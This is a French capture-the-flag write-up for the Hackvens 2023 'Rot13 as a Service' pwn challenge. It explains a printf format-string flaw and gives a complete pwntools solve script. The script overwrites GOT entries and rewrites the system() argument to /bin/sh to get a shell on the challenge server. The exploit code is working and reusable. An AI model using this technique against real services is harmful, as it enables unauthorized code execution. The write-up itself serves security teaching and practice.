Hacker Challenge

Hackvens 2023 - Write Up PWN- Rot 13 as a service

J’ai installé ce service de rot13 trouvé sur github sur mon serveur, je n’ai pas regardé, mais j’espère qu’il n’y a pas de backdoor…

HACKVENS 2023 - WRITE UP PWN - Rot 13 as a service

J’ai installé ce service de rot13 trouvé sur github sur mon serveur, je n’ai pas regardé, mais j’espère qu’il n’y a pas de backdoor…

nc 15.236.42.118 1337

Rot13 as a Service

Reconnaissance

Le binaire « rot13.elf » qui est fourni est un exécutable linux x86.

file rot13.elf

En termes de protections:

  • Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
  • No canary: Pas de protections contre les buffer overflow
  • NX: La stack n’est pas exécutable
  • No PIE: Les adresses du programme seront fixes

checksec rot13.elf

Reverse

Trois fonctions semblent importantes ici:

  • srot13
  • Main
  • func

Pas besoin ici de reverse la fonction srot13. Au vu du nom du programme, on peut deviner qu’elle transforme l’entrée en appliquant l’algorithme rot13 (Chiffre de César avec un décalage de 13).

fonction main

fonction main, 2eme partie

Le programme lance son introduction, et demande une entrée utilisateur.

intro du binaire

Ensuite, le programme va lire 0x100 bytes depuis stdin, y appliquer la fonction srot13, puis l’afficher en premier argument de la fonction printf.

demande d’entée utilisateur

Enfin, la fonction func, appelle system avec comme argument « /bin/ls ».

call à system

La chaine de caractère est dans la section .data.

section .data

La section .data est ici alloué comme réinscriptible (W => write).

La vulnérabilité

Le premier argument de la fonction printf est normalement réservée aux « formats string« . Ici, elle peut être contrôlée par l’utilisateur et permettre de lire et écrire en mémoire.

Exploitation – base

Pour faciliter l’exploitation, voici une fonction qui transforme l’entrée utilisateur avec du rot13:

def rot13(x):
    res = b''
    for i in x:
        if 0x61 <= i <= 0x61+26:
            res += bytes([0x61 + (i-0x61 + 13)%26])
        elif 0x41 <= i <= 0x41+26:
            res += bytes([0x41 + (i-0x41 + 13)%26])
        else:
            res += bytes([i])
    return res

Exploitation – ret2main

L’objectif ici, est de pouvoir effectuer autant de formats string que l’on désire.
Pour cela, on va exploiter le fait que la GOT soit réinscriptible.
La première étape consiste à savoir où est notre entrée utilisateur par rapport à la stack.
Voici une documentation qui explique les spécificateurs de format.

Ici, l’entrée se trouve au 11e élément, on peut le vérifier avec « AAAA%11$p » (AAAA -> NNNN en rot13) :

format string 101

On va se servir du spécificateurs %n pour réécrire l’adresse de exit dans la GOT, pour à la place appeler la fonction main, et pouvoir effectuer nos formats string à l’infini.
Pour rappel:

  • %n écrit à l’adresse pointée dans la stack (l’adresse affichée lors d’un %p), le nombre de caractère qui ont été écrits avant le spécificateur de format. Par exemple, dans AAAA%4$n, le nombre 4 sera écrit.
  • Il est possible d’écrire un byte (taille 1) avec %hhn, et un word (taille 2) avec %hn.
  • Pour écrire X caractère dans le buffer, il est possible d’utiliser %.[nombre]x pour afficher un nombre en hexa, paddé avec [nombre] de 0.
def rot13(x):
    res = b''
    for i in x:
        if 0x61 <= i <= 0x61+26:
            res += bytes([0x61 + (i-0x61 + 13)%26])
        elif 0x41 <= i <= 0x41+26:
            res += bytes([0x41 + (i-0x41 + 13)%26])
        else:
            res += bytes([i])
    return res


r = remote('15.236.42.118',1337)
#ret2main
reloc_exit = 0x0804c014
main = 0x0804932b
#on écrit main à la place de exit
payload = p32(reloc_exit)+b'%.'+str((main&0xffff) - 4).encode()+b'x%11$hn'
payload = rot13(payload)
print(payload)
r.sendline(payload)
r.recvuntil(b' : \n')
r.interactive()

Après toute la chaine de 0, on remarque que l’appel à la fonction exit a bien été remplacée par un appel à main:

remplacement de exit par main

Exploitation – réécrire la commande, et appeler func

Maintenant que l’on peut effectuer autant de formats string que l’on veut, on va pouvoir réécrire d’autres éléments de la mémoire plus facilement.
Pour commencer, on a réécrit l’argument de system (« /bin/ls »), et le remplacer par « /bin/sh ».
Enfin, on va reremplacer l’adresse de main dans exit par l’adresse de func, pour lancer /bin/sh.

Solve.py

from pwn import *

def rot13(x):
    res = b''
    for i in x:
        if 0x61 <= i <= 0x61+26:
            res += bytes([0x61 + (i-0x61 + 13)%26])
        elif 0x41 <= i <= 0x41+26:
            res += bytes([0x41 + (i-0x41 + 13)%26])

        else:
            res += bytes([i])
    return res

r = remote('15.236.42.118',1337)
#ret2main
reloc_exit = 0x0804c014
main = 0x0804932b
payload = p32(reloc_exit)+b'%.'+str((main&0xffff) - 4).encode()+b'x%11$hn'
payload = rot13(payload)
print(payload)
r.sendline(payload)
r.recvuntil(b' : \n')
print(r.recv())
#edit system argument
cmd = 0x0804c09c
payload = p32(cmd+5)+b'%.'+str((int.from_bytes(b'sh','little')&0xffff) - 4).encode()+b'x%11$hn'
payload = rot13(payload)
print(payload)
r.sendline(payload)
r.recvuntil(b' : \n')
print(r.recv())
#ret2func
func = 0x08049243
reloc_exit = 0x0804c014
main = 0x0804932b
func = 0x08049243
payload = p32(reloc_exit)+b'%.'+str((func&0xffff) - 4).encode()+b'x%11$hn'
payload = rot13(payload)
print(payload)
r.sendline(payload)
r.recvuntil(b' : \n')
print(r.recv())

r.interactive()

On obtient alors un shell:

Encore un super flag

Flag

HACKVENS{F0rm@T_StrIn9_w1tH_r0t13}

Bdenneu
Bdenneu
|
Ingénieur Sécurité

Yolo

Que savent les hackers sur votre entreprise ?
Faire le test